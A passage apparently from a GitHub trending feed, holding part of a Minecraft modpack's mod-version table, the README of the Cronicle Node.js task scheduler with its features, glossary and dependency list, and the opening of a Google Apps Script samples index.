<td><a href="https://github.com/GTNewHorizons/KekzTech">KekzTech</a></td>
<td>0.9.4</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/KubaTech">KubaTech</a></td>
<td>0.13.11</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/LittleTiles">LittleTiles</a></td>
<td>1.2.9-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/LogisticsPipes">LogisticsPipes</a></td>
<td>1.0.8-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/LootGames">LootGames</a></td>
<td>2.0.8</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/LunatriusCore">LunatriusCore</a></td>
<td>1.1.7-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/lwjgl3ify">lwjgl3ify</a></td>
<td>1.5.7</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/MagicBees">MagicBees</a></td>
<td>2.7.1-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/MalisisCore">MalisisCore</a></td>
<td>0.14.9</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/MalisisDoors">MalisisDoors</a></td>
<td>1.14.0-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Mantle">Mantle</a></td>
<td>0.3.7</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Minecraft-Backpack-Mod">Minecraft-Backpack-Mod</a></td>
<td>2.2.12-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Minetweaker-Gregtech-5-Addon">Minetweaker-Gregtech-5-Addon</a></td>
<td>2.0.5</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Mobs-Info">Mobs-Info</a></td>
<td>0.1.12-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ModTweaker">ModTweaker</a></td>
<td>0.9.10</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ModularUI">ModularUI</a></td>
<td>1.1.24</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/morpheus">Morpheus</a></td>
<td>1.6.21</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/MouseTweaks">MouseTweaks</a></td>
<td>2.4.9-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/MrTJPCore">MrTJPCore</a></td>
<td>1.1.5</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/MX-Random">MX-Random</a></td>
<td>0.2.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Natura">Natura</a></td>
<td>2.5.7</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/NaturesCompass">NaturesCompass</a></td>
<td>1.3.6-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/nei-custom-diagram">nei-custom-diagram</a></td>
<td>1.5.14</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/NEI-Integration">NEI-Integration</a></td>
<td>1.3.3</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/neiaddons">neiaddons</a></td>
<td>1.13.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/NetherPortalFix">NetherPortalFix</a></td>
<td>1.1.2</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/NewHorizonsCoreMod">NewHorizonsCoreMod</a></td>
<td>2.2.50</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Nodal-Mechanics">Nodal-Mechanics</a></td>
<td>1.1.-6-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/NotEnoughEnergistics">NotEnoughEnergistics</a></td>
<td>1.4.6</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/NotEnoughIds">NotEnoughIds</a></td>
<td>1.5.3</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/NotEnoughItems">NotEnoughItems</a></td>
<td>2.4.13-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Nuclear-Control">Nuclear-Control</a></td>
<td>2.5.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Nutrition">Nutrition</a></td>
<td>0.0.5</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/oauth">oauth</a></td>
<td>1.06.1-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/OCGlasses">OCGlasses</a></td>
<td>1.4.2-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/OpenBlocks">OpenBlocks</a></td>
<td>1.8.2-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/OpenComputers">OpenComputers</a></td>
<td>1.9.19-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/OpenModsLib">OpenModsLib</a></td>
<td>0.10.6</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/OpenModularTurrets">OpenModularTurrets</a></td>
<td>2.2.11-247</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/OpenPrinter">OpenPrinter</a></td>
<td>0.1.3-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/OpenSecurity">OpenSecurity</a></td>
<td>1.0.120-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Opis">Opis</a></td>
<td>1.3.8-mapless</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/OverloadedArmorBar">OverloadedArmorBar</a></td>
<td>1.0.3</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/pams-harvest-the-nether">Pam's Harvest the Nether</a></td>
<td>1.7.10a</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/PersonalSpace">PersonalSpace</a></td>
<td>1.0.28</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Player-API">Player-API</a></td>
<td>1.4.3</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ProjectBlue">ProjectBlue</a></td>
<td>1.1.12-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ProjectRed">ProjectRed</a></td>
<td>4.8.0-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Railcraft">Railcraft</a></td>
<td>9.15.2</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Random-Things">Random-Things</a></td>
<td>2.4.5</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Realistic-World-Gen">Realistic-World-Gen</a></td>
<td>alpha-1.3.8</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/RemoteIO">RemoteIO</a></td>
<td>2.4.8</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Roguelike-Dungeons">Roguelike-Dungeons</a></td>
<td>1.5.3-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/SC2">SC2</a></td>
<td>2.0.2</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Schematica">Schematica</a></td>
<td>1.9.4-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/SGCraft">SGCraft</a></td>
<td>1.3.13-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Share-Where-I-am">Share-Where-I-am</a></td>
<td>2.0.2</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/SleepingBags">SleepingBags</a></td>
<td>0.1.4</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/SpecialMobs">SpecialMobs</a></td>
<td>3.4.3</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/SpiceOfLife">SpiceOfLife</a></td>
<td>2.1.1-carrot</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Steve-s-Factory-Manager">Steve-s-Factory-Manager</a></td>
<td>1.1.7-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/StevesAddons">StevesAddons</a></td>
<td>0.10.27</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/StorageDrawers-BiomesOPlenty">StorageDrawers-BiomesOPlenty</a></td>
<td>1.11.17-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/StorageDrawers-Forestry">StorageDrawers-Forestry</a></td>
<td>1.11.17-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/StorageDrawers-Misc">StorageDrawers-Misc</a></td>
<td>1.11.18-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/StorageDrawers-Natura">StorageDrawers-Natura</a></td>
<td>1.11.17-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/StorageDrawers">StorageDrawers</a></td>
<td>1.12.1-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/StructureCompat">StructureCompat</a></td>
<td>0.4.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/StructureLib">StructureLib</a></td>
<td>1.2.9</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Super-TiC">Super-TiC</a></td>
<td>1.2.5</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/supersolarpanels">supersolarpanels</a></td>
<td>1.1.2-GT-NH-Mod</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Tainted-Magic">Tainted-Magic</a></td>
<td>7.6.3-GTNH</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/tc4tweaks">TC-4-Tweaks</a></td>
<td>1.5.18</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/TCNEIAdditions">TCNEIAdditions</a></td>
<td>1.2.2</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/TCNodeTracker">TCNodeTracker</a></td>
<td>1.1.7</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/TecTech">TecTech</a></td>
<td>5.3.22</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/thaumcraft-nei-plugin">Thaumcraft NEI Plugin</a></td>
<td>1.7a</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/thaumcraft-research-tweaks">thaumcraft-research-tweaks</a></td>
<td>1.0.6</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/thaumcraft">Thaumcraft</a></td>
<td>4.2.3.5a</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ThaumcraftMobAspects">ThaumcraftMobAspects</a></td>
<td>1.0.0-GTNH</td>
</tr>
<tr>
<td><a href="https://www.minecraftforum.net/forums/mapping-and-modding-java-edition/minecraft-mods/wip-mods/2200956-wip-1-7-10-open-beta-thaumcraft-4-2-addon-thaumic">Thaumic Machina</a></td>
<td>0.2.1</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Thaumic_Exploration">Thaumic_Exploration</a></td>
<td>1.2.0-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ThaumicBases">ThaumicBases</a></td>
<td>1.5.6</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ThaumicBoots">ThaumicBoots</a></td>
<td>1.1.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ThaumicEnergistics">ThaumicEnergistics</a></td>
<td>1.5.4-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ThaumicHorizons">ThaumicHorizons</a></td>
<td>1.4.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/thaumicinsurgence">thaumicinsurgence</a></td>
<td>0.2.7</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ThaumicInventoryScanning">ThaumicInventoryScanning</a></td>
<td>1.0.12-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ThaumicTinkerer">ThaumicTinkerer</a></td>
<td>2.8.5</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/TiC-Tooltips">TiC-Tooltips</a></td>
<td>1.3.0</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/compendium">Tinkers' Defense</a></td>
<td>1.2.1d</td>
</tr>
<tr>
<td><a href="https://github.com/Vexatos/TinkersGregworks/tree/GT-NH">Tinkers-Gregworks</a></td>
<td>1.0.25</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/TinkersConstruct">TinkersConstruct</a></td>
<td>1.10.12-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/TinkersMechworks">TinkersMechworks</a></td>
<td>0.3.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/TooMuchLoot">TooMuchLoot</a></td>
<td>4.1.0-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/ToroHealth">ToroHealth</a></td>
<td>1.0.4</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Translocators">Translocators</a></td>
<td>1.1.2.21</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/travellers-gear">Travellers Gear</a></td>
<td>1.16.6</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/TravellersGearNeo">TravellersGearNeo</a></td>
<td>1.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/twilightforest">twilightforest</a></td>
<td>2.5.1</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/TX-Loader">TX-Loader</a></td>
<td>1.6.3</td>
</tr>
<tr>
<td><a href="https://github.com/LegacyModdingMC/UniMixins">UniMixins</a></td>
<td>0.1.14</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Universal-Singularities">Universal-Singularities</a></td>
<td>8.6.7</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/VisualProspecting">VisualProspecting</a></td>
<td>1.2.1</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/waila">waila</a></td>
<td>1.6.5</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/WailaHarvestability">WailaHarvestability</a></td>
<td>1.1.10-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/WAILAPlugins">WAILAPlugins</a></td>
<td>0.3.0</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/WanionLib">WanionLib</a></td>
<td>1.8.4</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/WarpTheory">WarpTheory</a></td>
<td>1.2.16-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/WAWLA">WAWLA</a></td>
<td>1.1.3-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/WirelessCraftingTerminal">WirelessCraftingTerminal</a></td>
<td>1.10.1</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/WirelessRedstone-CBE">WirelessRedstone-CBE</a></td>
<td>1.4.8</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/witchery">Witchery</a></td>
<td>0.24.1</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/WitcheryExtras">WitcheryExtras</a></td>
<td>1.1.14</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/WitchingGadgets">WitchingGadgets</a></td>
<td>1.3.6-GTNH</td>
</tr>
<tr>
<td><a href="https://github.com/GTNewHorizons/Yamcl">Yamcl</a></td>
<td>0.5.86</td>
</tr>
<tr>
<td><a href="https://www.curseforge.com/minecraft/mc-mods/ztones">Ztones</a></td>
<td>2.2.2</td>
</tr>
</tbody>
</table>
<hr>
<p>Maintained by Dream-MasterXXL, Namikon, Drobac, Teteros, Tec, Lefty, Arnab, Methes, Warlord Wossman, SanMan911, Bigbass1997, Ugachaga, MineAnPlay, Giovanni_NL, Ethryan, MTesseracT, Bryfer, Bartimaeusnek, codewarrior, Moronwmachinegun, Mitchej, Zoko061602, Spartak, Highbeam, 0lafe, Teirdalin, Prometheus, KiloJoel, Glease, Kiwi, Bot, LeaGris, Boubou, Glowredman, Repo, DvDManDT, Moller, Colen, Minecraft7771, MuXiu1997, Runakai, YannickMG, SinTh0r4s, Alexdoru, Kiwi, bombcar, vlaetansky, POPlol333, Raven, miozune, GlodBlock, asdflj, D-Cysteine, DianeXD, Ethryan, BlueWeabo, Kuba, Quarri, Steelux8, S4mpsa, chochem, iouter, Elisis and many more.</p>
+ jhuckaby/Cronicle
+ 2023-12-13T01:35:24Z
+ tag:github.com,2023-12-13:/jhuckaby/Cronicle
+
+ <p>A simple, distributed task scheduler and runner with a web based UI.</p><hr><h1>Overview</h1>
<p><strong>Cronicle</strong> is a multi-server task scheduler and runner, with a web based front-end UI. It handles both scheduled, repeating and on-demand jobs, targeting any number of worker servers, with real-time stats and live log viewer. It's basically a fancy <a href="https://en.wikipedia.org/wiki/Cron">Cron</a> replacement written in <a href="https://nodejs.org/">Node.js</a>. You can give it simple shell commands, or write Plugins in virtually any language.</p>
<p><img src="https://pixlcore.com/software/cronicle/screenshots-new/job-details-complete.png" alt="Main Screenshot"></p>
<h2>Features at a Glance</h2>
<ul>
<li>Single or multi-server setup.</li>
<li>Automated failover to backup servers.</li>
<li>Auto-discovery of nearby servers.</li>
<li>Real-time job status with live log viewer.</li>
<li>Plugins can be written in any language.</li>
<li>Schedule events in multiple timezones.</li>
<li>Optionally queue up long-running events.</li>
<li>Track CPU and memory usage for each job.</li>
<li>Historical stats with performance graphs.</li>
<li>Simple JSON messaging system for Plugins.</li>
<li>Web hooks for external notification systems.</li>
<li>Simple REST API for scheduling and running events.</li>
<li>API Keys for authenticating remote apps.</li>
</ul>
<h2>Documentation</h2>
<p>The Cronicle documentation is split up across these files:</p>
<ul>
<li>→ <strong><a href="https://github.com/jhuckaby/Cronicle/raw/master/docs/Setup.md">Installation & Setup</a></strong></li>
<li>→ <strong><a href="https://github.com/jhuckaby/Cronicle/raw/master/docs/Configuration.md">Configuration</a></strong></li>
<li>→ <strong><a href="https://github.com/jhuckaby/Cronicle/raw/master/docs/Setup.md">Setup</a></strong></li>
<li>→ <strong><a href="https://github.com/jhuckaby/Cronicle/raw/master/docs/WebUI.md">Web UI</a></strong></li>
<li>→ <strong><a href="https://github.com/jhuckaby/Cronicle/raw/master/docs/Plugins.md">Plugins</a></strong></li>
<li>→ <strong><a href="https://github.com/jhuckaby/Cronicle/raw/master/docs/CommandLine.md">Command Line</a></strong></li>
<li>→ <strong><a href="https://github.com/jhuckaby/Cronicle/raw/master/docs/InnerWorkings.md">Inner Workings</a></strong></li>
<li>→ <strong><a href="https://github.com/jhuckaby/Cronicle/raw/master/docs/APIReference.md">API Reference</a></strong></li>
<li>→ <strong><a href="https://github.com/jhuckaby/Cronicle/raw/master/docs/Development.md">Development</a></strong></li>
</ul>
<h2>Glossary</h2>
<p>A quick introduction to some common terms used in Cronicle:</p>
<table>
<thead>
<tr>
<th>Term</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Primary Server</strong></td>
<td>The primary server which keeps time and runs the scheduler, assigning jobs to other servers, and/or itself.</td>
</tr>
<tr>
<td><strong>Backup Server</strong></td>
<td>A worker server which will automatically become primary and take over duties if the current primary dies.</td>
</tr>
<tr>
<td><strong>Worker Server</strong></td>
<td>A server which sits idle until it is assigned jobs by the primary server.</td>
</tr>
<tr>
<td><strong>Server Group</strong></td>
<td>A named group of servers which can be targeted by events, and tagged as "primary eligible", or "worker only".</td>
</tr>
<tr>
<td><strong>API Key</strong></td>
<td>A special key that can be used by external apps to send API requests into Cronicle. Remotely trigger jobs, etc.</td>
</tr>
<tr>
<td><strong>User</strong></td>
<td>A human user account, which has a username and a password. Passwords are salted and hashed with <a href="https://en.wikipedia.org/wiki/Bcrypt">bcrypt</a>.</td>
</tr>
<tr>
<td><strong>Plugin</strong></td>
<td>Any executable script in any language, which runs a job and reads/writes JSON to communicate with Cronicle.</td>
</tr>
<tr>
<td><strong>Schedule</strong></td>
<td>The list of events, which are scheduled to run at particular times, on particular servers.</td>
</tr>
<tr>
<td><strong>Category</strong></td>
<td>Events can be assigned to categories which define defaults and optionally a color highlight in the UI.</td>
</tr>
<tr>
<td><strong>Event</strong></td>
<td>An entry in the schedule, which may run once or many times at any interval. Each event points to a Plugin, and a server or group to run it.</td>
</tr>
<tr>
<td><strong>Job</strong></td>
<td>A running instance of an event. If an event is set to run hourly, then a new job will be created every hour.</td>
</tr>
</tbody>
</table>
<h1>Colophon</h1>
<p>We stand on the shoulders of giants. Cronicle was built using these awesome Node modules:</p>
<table>
<thead>
<tr>
<th>Module Name</th>
<th>Description</th>
<th>License</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.npmjs.com/package/async">async</a></td>
<td>Higher-order functions and common patterns for asynchronous code.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/bcrypt-node">bcrypt-node</a></td>
<td>Native JS implementation of BCrypt for Node.</td>
<td>BSD 3-Clause</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/chart.js">chart.js</a></td>
<td>Simple HTML5 charts using the canvas element.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/daemon">daemon</a></td>
<td>Add-on for creating *nix daemons.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/errno">errno</a></td>
<td>Node.js libuv errno details exposed.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/font-awesome">font-awesome</a></td>
<td>The iconic font and CSS framework.</td>
<td>OFL-1.1 and MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/form-data">form-data</a></td>
<td>A library to create readable "multipart/form-data" streams. Can be used to submit forms and file uploads to other web applications.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/formidable">formidable</a></td>
<td>A Node.js module for parsing form data, especially file uploads.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/glob">glob</a></td>
<td>Filesystem globber (<code>*.js</code>).</td>
<td>ISC</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/jstimezonedetect">jstimezonedetect</a></td>
<td>Automatically detects the client or server timezone.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/jquery">jquery</a></td>
<td>JavaScript library for DOM operations.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/mdi">mdi</a></td>
<td>Material Design Webfont. This includes the Stock and Community icons in a single webfont collection.</td>
<td>OFL-1.1 and MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/mkdirp">mkdirp</a></td>
<td>Recursively mkdir, like <code>mkdir -p</code>.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/moment">moment</a></td>
<td>Parse, validate, manipulate, and display dates.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/moment-timezone">moment-timezone</a></td>
<td>Parse and display moments in any timezone.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/netmask">netmask</a></td>
<td>Parses and understands IPv4 CIDR blocks so they can be explored and compared.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/node-static">node-static</a></td>
<td>A simple, compliant file streaming module for node.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/nodemailer">nodemailer</a></td>
<td>Easy as cake e-mail sending from your Node.js applications.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/shell-quote">shell-quote</a></td>
<td>Quote and parse shell commands.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/socket.io">socket.io</a></td>
<td>Node.js real-time framework server (Websockets).</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/socket.io-client">socket.io-client</a></td>
<td>Client library for server-to-server socket.io connections.</td>
<td>MIT</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/uglify-js">uglify-js</a></td>
<td>JavaScript parser, mangler/compressor and beautifier toolkit.</td>
<td>BSD-2-Clause</td>
</tr>
<tr>
<td><a href="https://www.npmjs.com/package/zxcvbn">zxcvbn</a></td>
<td>Realistic password strength estimation, from Dropbox.</td>
<td>MIT</td>
</tr>
</tbody>
</table>
<h2>Companies Using Cronicle</h2>
<p>Cronicle is known to be in use by the following companies:</p>
<ul>
<li><a href="https://agnesanddora.com">Agnes & Dora</a></li>
<li><a href="https://sling.com">Sling TV</a></li>
</ul>
<h1>License</h1>
<p><strong>The MIT License (MIT)</strong></p>
<p><em>Copyright (c) 2015 - 2023 Joseph Huckaby</em></p>
<p>Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:</p>
<p>The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.</p>
<p>THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.</p>
+
+
+ googleworkspace/apps-script-samples
+ 2023-12-13T01:35:24Z
+ tag:github.com,2023-12-13:/googleworkspace/apps-script-samples
+
+ <p>Apps Script samples for Google Workspace products.</p><hr><h1>Google Apps Script Samples</h1>
<p>Various sample code and projects for the Google Apps Script platform, a JavaScript platform in the cloud.</p>
<p>Learn more at <a href="https://developers.google.com/apps-script">developers.google.com</a>.</p>
<h2>Google APIs</h2>
<p><img src="https://www.gstatic.com/images/branding/product/2x/admin_96dp.png" align="left" width="96px"></p>
<h3>AdminSDK</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/adminSDK">Manage domains and apps</a> <br><br></li>
</ul>
<p><img src="https://www.gstatic.com/images/branding/product/2x/google_cloud_96dp.png" align="left" width="96px"></p>
<h3>Advanced Services</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/advanced/">Access Google APIs via Advanced Google services</a> <br><br></li>
</ul>
<p><img src="https://www.gstatic.com/images/branding/product/2x/calendar_96dp.png" align="left" width="96px"></p>
<h3>Calendar</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/calendar/quickstart">List upcoming events</a></li>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/solutions/automations/vacation-calendar/Code.js">Create a vacation calendar</a></li>
</ul>
<p><img src="https://www.gstatic.com/images/branding/product/2x/classroom_96dp.png" align="left" width="96px"></p>
<h3>Classroom</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/classroom/quickstart">Manage Google Classroom</a> <br><br></li>
</ul>
<p><img src="https://www.gstatic.com/images/branding/product/2x/data_studio_96dp.png" align="left" width="96px"></p>
<h3>Data Studio</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/data-studio/build.gs">Build a connector</a></li>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/data-studio/auth.gs">Authentication and Authorization</a></li>
</ul>
<p><img src="https://www.gstatic.com/images/branding/product/2x/docs_96dp.png" align="left" width="96px"></p>
<h3>Docs</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/docs/cursorInspector">Cursor inspector add-on</a></li>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/docs/translate">Translate add-on</a></li>
</ul>
<p><img src="https://www.gstatic.com/images/branding/product/2x/drive_96dp.png" align="left" width="96px"></p>
<h3>Drive</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/drive/quickstart">Manage Google Drive files and folders</a></li>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/drive/activity">View Google Drive activity</a></li>
</ul>
<p><img src="https://www.gstatic.com/images/branding/product/2x/forms_96dp.png" align="left" width="96px"></p>
<h3>Forms</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/forms">Notification add-on</a> <br><br></li>
</ul>
<p><img src="https://www.gstatic.com/images/branding/product/2x/gmail_96dp.png" align="left" width="96px"></p>
<h3>Gmail</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/gmail/sendingEmails">Sending email</a></li>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/gmail/mailmerge">Mailmerge: Merge a template email with content</a></li>
</ul>
<p><img src="https://www.gstatic.com/images/icons/material/system/2x/people_black_48dp.png" align="left" width="96px"></p>
<h3>People</h3>
<ul>
<li><a href="https://raw.githubusercontent.com/googleworkspace/apps-script-samples/main/people/quickstart">Listing Connections</a> <br><br></li>
</ul>
<p><img src="https://www.gstatic.com/images/branding/product/2x/sheets_96dp.png" align="left" width="96px"></p>
<h3>Sheets</h3>
<ul>
